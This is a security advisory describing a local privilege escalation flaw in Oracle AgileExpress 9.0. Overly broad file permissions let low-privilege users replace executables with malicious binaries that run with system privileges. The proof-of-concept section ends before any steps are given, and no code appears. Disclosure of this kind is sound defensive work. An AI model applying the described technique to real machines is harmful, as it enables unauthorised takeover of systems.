Product & Service Introduction:
===============================
Agile eXpress allows Agile users to create a PDX package containing product definition data and publish it to their partners. 
Interested parties can then view the data using Agile eXpress even if they don't have access to the Agile server. The Agile Web 
Client allows you to import product data created on another system or another Agile system into your Agile system. Using Agile 
eXpress and the Agile Web Client, customers and partners can exchange all product information required to build a new product 
or change an existing product.

Technical Details & Description:
================================
A local path privilege escalation vulnerability has been discovered in the official Oracle AgileExpress 9.0 software.
The local security vulnerability allows an attackers to gain higher access privileges by exploitation of the weak 
software files permissions misconfiguration.

The software suffers from a local privilege escalation vulnerability. Users are able to change the files with executable access 
to a binary of choice. The issue is located in the misconfigured permission values with the `F`(full) flag in the users and the 
everyone group. The group/user permission for the path is assigned to the everyone group. Local attackers could exploit the 
vulnerability by replace files with a malicious executable file. The malicious file is exectuable with the local system user 
permissions by misconfiguration.

The security risk of the vulnerability is estimated as medium. Exploitation of the software vulnerability requires a low privilege 
system user account with restricted access and without user interaction. Successful exploitation of the vulnerability results in 
system process compromise and further manipulation or exploitation to compromise the local computer operating system.


Proof of Concept (PoC):
=======================
The local privilege escalation vulnerability can be exploited by local attackers without user interaction and with system user account.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
